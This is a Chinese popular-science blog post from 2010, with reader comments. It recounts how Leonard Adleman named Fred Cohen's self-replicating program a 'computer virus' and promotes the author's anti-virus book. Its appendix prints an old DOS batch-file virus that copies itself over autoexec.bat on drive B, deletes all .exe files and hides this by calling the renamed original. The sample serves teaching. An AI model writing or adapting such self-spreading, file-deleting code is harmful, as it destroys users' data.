学到老Never too old to learn分享 http://blog.sciencenet.cn/u/tangchangjie

博文

一不小心,成了计算机病毒的教父 精选

已有 14605 次阅读 2010-12-8 09:26 |个人分类:科普札记|系统分类:科普集锦| 感染, 计算机病毒, Leonard, Adleman, 自我复制

          一不小心,成了计算机病毒的教父--- 我所认识的L. Adleman(4)(唐常杰)


  计算机病毒何许物也?
  在程序员眼中,计算机病毒是程序;对电脑用户,计算机病毒是祸害;当出现计算机故障时,计算机病毒是替罪羊;在某些不良分子手里,计算机病毒是摇钱树。
  还是先讲故事,谈计算机病毒与故事主人公的渊源,然后做科普。



  
                                Fred Cohen                      Leonard Adleman

  
计算机病毒命名1983年,Leonard Adleman(阿德曼)的博士生,弗雷德·科恩(Fred Cohen)在他的指导下研究计算机网络安全相关的问题。这年11月3日科恩写出了可自我复制及感染能力的程序。兴奋地和阿德曼讨论。一周后,在11月10日的安全技术Seminar上,科恩展示了这个程序,此程序能在一个小时内传遍测试系统。
  给这一作品取个什么名称呢?Adleman涉猎甚广,有深厚的数学、化学和分子生物学基础,也是密码技术(特别是攻击技术)的编程高手兼科幻小说迷,联想到曾经在科幻小说上看到过“Computer Virus”,在那个讨论班上给这个程序命名为计算机病毒(Computer Virus),一不小心,就这样成了(现代)计算机病毒的教父。(问什么是教父?Google答:在婴儿或幼儿受洗礼时,赐以教名,并保证承担其宗教教育的人。)。
   
若干年后,Adleman还解释,Computer Virus这个term 不是他生造(Coined)的,是从科幻小说里面看来的。
   
  “史前”计算机病毒  . 1971年, BBN的Bob Thomas 写过一个名叫Creeper的电报打字机控制程序(那时没命名为Computer Virus),受控制的电报打字机会发出信息: “我是Creeper,有本事来抓我(I'm creeper, catch me if you can!)”,由于其感染机理与现代计算机病毒有点差别,所以追认为”史前机器病毒”; 博友huangfuqiang 在第4条和第12条评论以及他推荐的文献[4]中,补充了关于计算机病毒的比较完整的渊源。但正式给这类真实的程序命名为“Computer  Virus还是L. Adleman, 所以,尚未听说过争夺教父这一名誉的官司。

   
  发表论文时的踌躇.  科学发现可以正面使用,也可被滥用。师徒俩反复讨论,怎样发表论文,发表多少,是否要把真正的代码公布,发表了是好还是坏,从技术讨论到了道德规范,….
  最后认为,把这一潜在的威胁告诉公众有好处,他俩分别于1987或1990发表了两篇著名的关于计算机病毒的论文[1,2]。再后来,人们看到了下列事件:
      (a) 反病毒软件成为了一个产业,计算机病毒养活了这些产业;解决了一大批高技术人才的就业问题;
     ( b) ABC News,报道,在沙漠风暴中,美军施放计算机病毒,攻击伊拉克。
      Adleman看到这两则消息后,回顾发表论文的功过是非,叹道:” Who knows(天晓得)!”。    
 

       在那个给计算机病毒命名的Seminar进行时,笔者到南加大计算机系已10个月,年轻人们对这一发现的惊异、敬意、兴奋和热议都深深地印在脑中,播下了一颗七年后才萌发的种子。
      1990年,计算机病毒在中国肆虐,我和我的同事们开发了一些反病毒软件,反病毒卡,写了一本专著《计算机反病毒技术》[3],有源程序、有理论分析、有数据库和知识库技术,由电子工业出版社出版。当然,现在回头去看这本10年前的书,肯定已年久失修,在当年可很火了一阵子,有一个月,此书被列在畅销书第二位,仅次于一本股票的书籍;还获得了1992年新闻出版署颁发的全国第六届优秀科技图书二等奖(那一年,有一个一等奖,得主是杨芙清院士;有两个二等奖)。想起来,真要感谢当年在南加大的机遇和早早埋下的种子。

      计算机病毒是怎样“活”起来,传染和破坏的?
     
 当《计算机反病毒技术》获新闻出版总署1992年全国优秀科技图书二等奖后,在领奖回程,第一次领略了首都出租车司机的健谈,师傅问,计算机怎么会怕病毒?会生霉吗?
      解释1:“计算机病毒是一种包含了复制自身指令的指令”,师傅摇摇头,太绕了,什么指令的指令….,惑而未解。
       解释2,一个发通知的例子,设出租车公司发了一个通知,“往下一车号传,今天下午两点钟开会”。 注意,其中有三个要点:
      (a)“往下传”就是复制动作,只要执行这个指令,就会复制命令自身
      (b)“两点钟”是病毒的等待的时机;
      (c) 如果把行为“开会”换成“堵车”或其他不良动作,就成了消极代码或破坏性代码。
       师傅懂了,而且是从哲理的层次上理解的,可以认为是浅者见浅;专业人员立刻会联系到艰深的反病毒程序的汇编代码(遥想当年,工具不多,常用debug写),那是深者见深。如果深者和浅者都觉得自己理解了,这次科普就成功了。
     
如今,计算机病毒和反病毒技术已今非昔比,在民用环境中,像瘟疫和防疫的对抗;在军事上,是信息导弹和信息反导弹的对抗。造病毒者挖空心思,反病毒者殚精竭虑;双方都从技术上升到了艺术阶段,其深入而精细代码已经不太容易作科普解释了。
      作为解释计算机病毒机理的实际例子,又要避免“教坏”,附录中,给出了在《计算机反病毒技术》中的一个古老的批处理病毒程序,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘
此程序像已经灭活的疫苗,仅能演示思路,没实际害处了。

关于 Leonard . Adleman的系列博文
  
1一位狂热科学家的工作照  

       2 图灵奖得主是怎样炼成的-----侧应钱学森之问  
      3 他凭什么得到图灵奖? (在RSA中的贡献,+RSA科普)

      4  一不小心,成了计算机病毒的教父 (科普)  

     5  奇思妙想,客串艾滋病免疫研究      (科普  

     6  沧海横流,谁开辟了DNA计算?  (DNA计算简介,科普)

               其它系列博文的入口    唐常杰博客主页     科学博客主页

   

    附录1在《计算机反病毒技术》中的自动执行程序Autoexec.BAT,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘。 
   计算机病毒;(Autoexec.BAT )   //从A;盘 复制 到B:盘
 
Echo This is a Virus program
    IF exist b:autoexec.bat  goto  Virus
    Goto No_Virus
    : Virus
    B:
    Rename autoexec.bat  auto.bat       //准备冒名顶替
    Copy a:autoexec.bat  b:                  //自我复制部分
    Echo I am Virus        //诚实的自白            
    Del *.exe                   //实施破坏
    : No_virus
A:
Auto             //调用原来 autoexec.bat,给出平安无事的假象
   
参考文献  
 
[1]Fred Cohen ,Computer viruses : Theory and experiments ,puters & Security Volume 6, Issue 1, February 1987, Pages 22-35
   [2]Leonard M. Adleman,An Abstract Theory of Computer Viruses ,Leonard M. Adleman,Lecture Notes in Computer Science, 1990, Volume  403/1990, Advances in Cryptology — CRYPTO’ 88 ,354-374, DOI: 10.1007/0-387-34799-2_28
   [3]唐常杰 ,胡军,计算机反病毒技术, 电子工业出版社,90年出版,93年修定版,.获92全国优秀科技图书二等奖.
 
[4]  When did the term 'computer virus' arise? 来自科学美国网址由博友huangfuqiang 推荐。



https://blog.sciencenet.cn/blog-287179-391455.html

上一篇:他凭什么得了图灵奖?
下一篇:奇思妙想,客串艾滋病免疫研究
收藏 IP: 118.113.69.*| 热度|

43 秦川 俞立 杨学祥 卫军英 彭雷 章成志 彭思龙 陈儒军 陈绥阳 孙学军 朱志敏 胡锋 陈国文 唐小卿 黄富强 吉宗祥 杨正瓴 吕喆 金小伟 王启云 李学宽 张金龙 郭桅 鲍海飞 李泳 许培扬 李毅伟 丛远新 沈旭章 朱新亮 赵振平 黄锦芳 程冬 曾新林 刘庆丰 马磊 吕腾 韩笑 杨文祥 neilchau dulizhi95 bumblebee tuner

该博文允许注册用户评论 请点击登录 评论 (15 个评论)

IP: 220.249.99.*   | 赞 +1 [15]黎瑞源   2010-12-9 13:01
这里写得太好了,唐老师应该写科普的!期待唐老师能有新作!
博主回复:谢谢关注
IP: 117.90.215.*   | 赞 +1 [14]dailiangren   2010-12-9 08:17
以前看过能自己输出自己的程序段,看懂了其中的几个,但是都利用了一些指令,比如能读到自己程序段首地址的。我在想,这其实是利用了自己本程序段之外的能力来实现的自我输出。这能不能说程序能自我复制呢?计算机能否自我复制呢?这和人类的繁殖有多大异同呢?我是计算机的门外汉,只是对机器却能部分模仿人比较感兴趣,所以自己民科般地了解了一些,唐老师切莫见笑。~
博主回复:计算机病毒在复制时候,借力打力,调用了系统功能。 一些比较安全的语言通过防止复制,插入行为的条用来达到侵权的目的。
IP: 183.185.97.*   | 赞 +1 [13]孙静宇   2010-12-8 22:52
看到这篇博文,让我想起我玩病毒的事情,真是激动不已。我大概是95年冬天开始研究计算机病毒的,只是当时没有网络,只看过1本小小的书,弄出大麻病毒,分析和改写了一番,后看过一本解密方面的书,增加了一些知识,可惜的是没看到唐老师的书。后来研究生毕业了,又玩点手工杀毒、高级语言写的病毒什么的,后来上博就没精力玩了,只是偶尔手工杀个毒什么的,也杀不利索了。在心灵深处,我还是很迷恋计算机病毒的,如果有机会,好好向您请教,说不定,在计算机病毒领域,能取得点好成绩呢。
博主回复:谢谢。后生可畏,计算机世界是年轻人的。
IP: 218.75.216.*   | 赞 +1 [12]钟云飞   2010-12-8 19:52
学习学习,回味回味
博主回复:谢谢
IP: 123.147.247.*   | 赞 +1 [11]吴军   2010-12-8 19:32
唐常杰 ,胡军,计算机反病毒技术, 电子工业出版社,90年出版,93年修定版,.获92全国优秀科技图书二等奖
有没有出最新版啊?现在病毒都更新了那么多代了。
博主回复:没有。计算机知识更新快,更新到后来蛮勤快更新人,换一代新人来,
代有才认出。
IP: 61.135.194.*   | 赞 +1 [10]tuner   2010-12-8 17:07
我一直怀疑病毒是那些杀毒软件公司精心制作的,源源不断的病毒是他们生存发财的巨大财富,他们是世界上最需要病毒的人。当然,为了不惹祸,任何病毒的“疫苗”都早于病毒的流行 ...

另外,没看懂唐老师的病毒程序。
博主回复:那个病毒程序是dos上的批处理程序,现在不用或少用了。
IP: 123.147.247.*   | 赞 +1 [9]吴军   2010-12-8 17:00
唐老师写的好文章啊。
博主回复:谢谢
IP: 110.110.139.*   | 赞 +1 [8]黄富强   2010-12-8 16:59
唐老师好,我再提供一篇文章,来自科学美国。题目如下:
When did the term 'computer virus' arise?
网址如下:
http://www.scientificamerican.com/article.cfm?id=when-did-the-term-compute
博主回复:谢谢,已经加在了参考文献4,并标注了由你推荐。
IP: 159.226.156.*   | 赞 +1 [7]李学宽   2010-12-8 15:07
昨天使用朋友的笔记本,上来就感觉不对。更新杀毒软件并杀之:出来98个病毒!
博主回复:现在基本上有办法遏制计算机病毒了, 不像当年那样束手无策。
IP: 61.190.88.*   | 赞 +1 [6]bumblebee   2010-12-8 12:19
看完了,心里好顺畅!期待下一篇续集。
博主回复:谢谢关注
IP: 166.111.74.*   | 赞 +1 [5]卓晴   2010-12-8 11:34
科普应该是所有从事科学研究和教育的基本责任和习惯。
喜欢你的这些文章。
下学期正好有一门课程是 Unix系统基础。我也打算在其中增加一些
计算机方面的奇人趣事,以激发同学们学习的热情。
博主回复:谢谢
IP: 166.111.74.*   | 赞 +1 [4]卓晴   2010-12-8 11:34
科普应该是所有从事科学研究和教育的基本责任和习惯。
喜欢你的这些文章。
下学期正好有一门课程是 Unix系统基础。我也打算在其中增加一些
计算机方面的奇人趣事,以激发同学们学习的热情。
博主回复:谢谢关注。
科学和科学家的故事常能激发年轻人的热情。
IP: 110.110.123.*   | 赞 +1 [3]黄富强   2010-12-8 11:07
关于病毒思想的渊源还可以往前追溯,1949年,诺依曼在论文《复杂自动机组织论》中勾勒出了病毒程序的蓝图,可以在内存中进行自我复制;之后,AT&T三个程序员间的“磁芯大战“;1977年,托马斯.捷.瑞安的科幻小说《P-1的青春》幻想了世界上第一个计算机病毒,这或许是计算机病毒的思想基础。
博主回复:谢谢。 已经在正文中加引你的建议。
IP: 211.157.112.*   | 赞 +1 [2]small03   2010-12-8 10:49
喜欢您的文章和文字风格.
博主回复:谢谢
IP: 219.217.239.*   | 赞 +1 [1]吕喆   2010-12-8 09:49
好文!
90年代初我们上大学的时候,也有同学很FANS计算机病毒呢。
博主回复:谢谢关注

1/1 | 总计:15 | 首页 | 上一页 | 下一页 | 末页 | 跳转

扫一扫,分享此博文

Archiver|手机版|科学网 ( 京ICP备07017567号-12 )

GMT+8, 2025-3-16 17:51

Powered by ScienceNet.cn

Copyright © 2007-2025 中国科学报社

返回顶部